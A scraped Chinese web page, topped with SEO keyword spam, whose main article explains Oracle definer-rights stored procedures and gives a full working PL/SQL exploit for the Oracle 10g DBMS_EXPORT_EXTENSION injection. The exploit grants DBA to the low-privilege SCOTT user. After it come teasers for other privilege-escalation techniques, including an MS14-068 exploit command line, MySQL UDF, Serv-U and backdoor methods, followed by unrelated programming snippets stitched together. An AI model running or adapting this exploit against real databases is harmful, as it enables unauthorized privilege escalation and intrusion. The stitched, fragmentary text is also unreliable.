网站永久镜像怎么做,湖南服务专业的网站制作,网站优化前景,问答网站开发0x01 Oracle存储过程”缺陷”在 Oracle 的存储过程中#xff0c;有一个有趣的特点#xff1a;运行权限。运行权限分为两种#xff0c;definer 和 invoker。definer 为函数创建者的权限#xff0c;而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了有一个有趣的特点运行权限。运行权限分为两种definer 和 invoker。definer 为函数创建者的权限而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了默认为 definer。说白了如果我们用低权限用户去运行DBA权限用户创建的存储过程我们在调用时就可以额访问DBA资源使用DBA的权限Oracle 这样做的初衷实际上是为了用户互相访问资源时避免用户凭据的问题。当然也可以将函数的权限定义为 invoker但需要显式设置create or replace function Whoami return varchar2AUTHID CURRENT_USERbegin NULL; end;因为具有这样的特性所以当存储过程函数实现存在缺陷时安全问题就产生了。比如下面这里新建一个存储过程create or replace procedure SasugaOracle(msg in varchar2)asstmt varchar2(255);beginstmt : BEGIN DBMS_OUTPUT.PUT_LINE( || msg || ) END;;EXECUTE IMMEDIATE stmt;end;EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限grant execute on SasugaOracle to public;接着切换到普通用户只有 CONNECT 和 RESOURCE 权限执行存储过程修改一下传入的参数这里我们在原命令后新增了一条添加数据库用户的命令这里添加的用户名为latec0mer然后我们查询一下是否存在latec0mer这个用户可以看到我们上一条新增的命令是生效的。类似的如果 Oracle 的系统函数中存在同样的缺陷我们便有机会对其加以利用提升权限甚至执行系统命令。0x02Oracle 10g经典提权漏洞在 Oracle 10g 中 GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞该函数位于 DBMS_EXPORT_EXTENSION 包中执行权限隶属于 sys。用scott/tiger登陆Oraclescott 是oracle内建用户权限较低我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。sqlplus scott/tigerorcl查询scott的当前角色select * from session_roles;可以看到scott只有CONNECT和RESOURCE两个权限较低的角色利用漏洞执行权限提升Create or REPLACEPACKAGE HACKERPACKAGE AUTHID CURRENT_USERISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,envSYS.odcienv)RETURN NUMBER;END;/Create or REPLACE PACKAGE BODY HACKERPACKAGEISFUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,envSYS.odcienv)RETURN NUMBERISpragma autonomous_transaction;BEGINEXECUTE IMMEDIATE GRANT DBA TO SCOTT;COMMIT;RETURN(1);END;END;/DECLAREINDEX_NAME VARCHAR2(200);INDEX_SCHEMA VARCHAR2(200);TYPE_NAME VARCHAR2(200);TYPE_SCHEMA VARCHAR2(200);VERSION VARCHAR2(200);NEWBLOCK PLS_INTEGER;GMFLAGS NUMBER;v_Return VARCHAR2(200);BEGININDEX_NAME : A1;INDEX_SCHEMA : SCOTT;TYPE_NAME : HACKERPACKAGE;TYPE_SCHEMA : SCOTT;VERSION : 10.2.0.1.0;GMFLAGS : 1;v_Return : SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME INDEX_NAME,INDEX_SCHEMA INDEX_SCHEMA,TYPE_NAME TYPE_NAME,TYPE_SCHEMA TYPE_SCHEMA,VERSION VERSION,NEWBLOCK NEWBLOCK,GMFLAGS GMFLAGS);END;/现在我们再来看看权限成功从普通用户提权到dba用户。ps:经测试oracle10.2.0.4以上版本没这个安全漏洞08提权 系统文件权限和远程连接IP绕过 安装后门大家都知道08权限的系统权限设置很严格 面对限制IP连接的情况 我们及时拿到system权限 有账号也上不去这种情况下只能弄shift后门 或者放大镜了 但08权限 在system权限也操作不了系 ...提权基础-----mysql-udf提权1.总结关于udf提权方法 通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连 (1).将udf.dll代码的16进制数声明给my_udf_a变量 set my_ud ...lbrack;原创rsqb;IIS提权工具-VBS提权脚本免杀生成器[原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53| 分类: 原创工具 VBS提权脚本随机加密生成器[K.8] Author: QQ吻 QQ:39 ...PublicCMS 网站漏洞 任意文件写入并可提权服务器权限PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCATApccheMysql数据库架构的CMS网站,开源,数据承载量大,可以承载到上千万的数据量,以及用户的网站并发可达到上千万的P ...第三方提权之serv-u提权文章比较简单,只是做一个科普.给一个好朋友的. 倘若口令更改了大家可以去serv-u的目录(默认路径:C:\Program Files\Serv-U\)找其配置文件(ServUDaemon.ini), ...lbrack;提权rsqb;域内提权神器 MS14-068 完整EXP可以让任何域内用户提升为域管理员 c:\python27\python.exe ms14-068.py -u k8test3k8.local -p k8team!# -s S-1-5-2 ...提权案例lpar;一rpar;渗透某aspperiod;net网站通过sql server数据库public 提权 思路分享先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...kali权限提升之配置不当提权与WCEkali权限提升之配置不当提权与WCE 1.利用配置不当提权 2.WCE 3.其他提权 一.利用配置不当提权 与漏洞提权相比更常用的方法 在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏 ...WIN提权总结【本地存档-转载】[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...随机推荐用php怎么改文件名php手册:bool rename ( string oldname, string newname [, resource context] )尝试把 oldname 重命名为 newname. 如 ...Omnithreadlibary学习lpar;2rpar;-IOmniTask异步执行1.使用 procedure Parallel.Async(task: TProc; taskConfig: IOmniTaskConfig); 匿名委托访问网站 program main; {$AP ...python进阶1--数据库支持数据库支持 1.连接和游标 1)connect函数,该函数有多个参数,而具体使用那个参数取决于数据库.--连接数据库 常用参数: dsn:数据源名称 user:用户名 password:用户密码 ho ...Maximum Sum of Digits(CodeForces 1060B)Description You are given a positive integer nn. Let S(x) be sum of digits in base 10 representation ...如何查看oracle用户具有的权限和角色.查看所有用户: select * from dba_users; select * from all_users; select * from user_users; .查看用户或角色系统权限(直接 ...017 Spark的运行模式(yarn模式)1.关于mapreduce on yarn 来提交job的流程 yarnresourcemanager(RM)nodemanager(NM) client向RM提交任务 RM向NM分配applic ...innerWidth outerWidth在jQuery中: 一.width()方法用于获得元素宽度: 二.innerWidth()方法用于获得包括内边界(padding)的元素宽度; 三.outerWidth()方法用于获得包括内边界(pa ...cnum;直接调用ssis包实现Sql Server的数据导入功能调用ssis包实现Sql Server的数据导入功能网上已经有很多人讨论过,自己参考后也动手实现了一下,上一次笔者的项目中还用了一下这个功能.思前想后,决定还是贴一下增强记忆,高手请54. 1.直接调 ...node升级后项目中的node-sass报错的问题之前可能因为电脑不知道哪抽风了,在npm build的时候进入就卡在入口的地方,启动express的时候也会,所以就重装了一下node 重装node 其实也不是重装,就是使用 where node 查 ...相机姿态估计(Pose Estimation)(未完待续.....) 根据针孔相机模型,相机成像平面一点的像素坐标p和该点在世界坐标系下的3D坐标P有$pKP$的关系,如果用齐次坐标表示则有: $$dpKP$$ 其中d是空间点深度(为了将p的 ...